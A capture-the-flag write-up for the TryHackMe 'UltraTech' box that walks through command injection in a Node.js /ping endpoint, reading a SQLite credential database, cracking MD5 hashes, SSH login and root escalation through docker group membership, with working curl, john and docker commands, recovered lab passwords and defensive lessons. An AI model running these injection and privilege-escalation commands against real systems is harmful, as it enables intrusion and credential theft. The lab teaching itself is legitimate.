UltraTech — TryHackMe CTF

Overview

Four-service target running FTP, SSH, a Node.js Express REST API on 8081, and Apache on a non-standard port 31331. The API's /ping endpoint passes user input directly to exec() without sanitisation, giving immediate RCE as www. From there, the SQLite credential database is read via the same injection vector, MD5 hashes are cracked offline, and SSH login lands in a session where the user is a member of the docker group — a one-liner bind mount escalates to root.

Reconnaissance

API Route Enumeration

Gobuster against port 8081 finds exactly two routes: /auth (authentication) and /ping (the vulnerable one). The /ping route is documented in the JS source as a utility that runs the system ping binary against a provided IP — no input validation at all.

gobuster dir -u http://TARGET:8081 -w /usr/share/wordlists/dirb/common.txt -q
# /auth   (Status: 200)
# /ping   (Status: 200)

Exploitation — Command Injection in /ping

The ip parameter is passed raw into a shell exec call. Backtick subshell syntax executes arbitrary commands and returns their output in the response body:

curl 'http://TARGET:8081/ping?ip=`id`'
# → uid=1001(www) gid=1002(www) groups=1002(www)

Step 2 — SQLite Database Discovery & Extraction

Using the same injection channel to locate and read the credential database:

# Find the database file
curl 'http://TARGET:8081/ping?ip=`find / -name "*.sqlite" 2>/dev/null`'
# → /home/www/api/utech.db.sqlite

# Extract readable strings from binary SQLite
curl 'http://TARGET:8081/ping?ip=`strings /home/www/api/utech.db.sqlite`'

Two credential pairs recovered from the database:

Step 3 — Hash Cracking

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# r00t  : n100906
# admin : mrsheafy

Step 4 — SSH Access

ssh r00t@TARGET
# Password: n100906
id
# uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

The docker group membership is the critical finding. Any user in the docker group can launch privileged containers with host bind mounts, effectively owning the host filesystem as root.

Privilege Escalation — Docker Group

A single docker run command mounts the entire host root filesystem into the container and reads root's SSH private key without ever needing the root password:

docker run -v /:/mnt --rm bash cat /mnt/root/.ssh/id_rsa
# -----BEGIN RSA PRIVATE KEY-----
# MIIEogIBA...  ← first 9 chars of key body

Flags & Answers

Vulnerability Summary

Lessons Learned

1. Never pass user input to shell exec without sanitisation. Even "internal" APIs accessible only on non-standard ports are in scope. Allowlist IPs with a regex — reject everything else before the shell ever sees it.
2. MD5 is not a password hashing algorithm. Use bcrypt, argon2id, or scrypt. MD5 is a checksum function — rockyou cracks it in seconds.
3. The docker group is root. Treat membership identically to sudoers. Only system services that genuinely need it should be in that group — never interactive user accounts.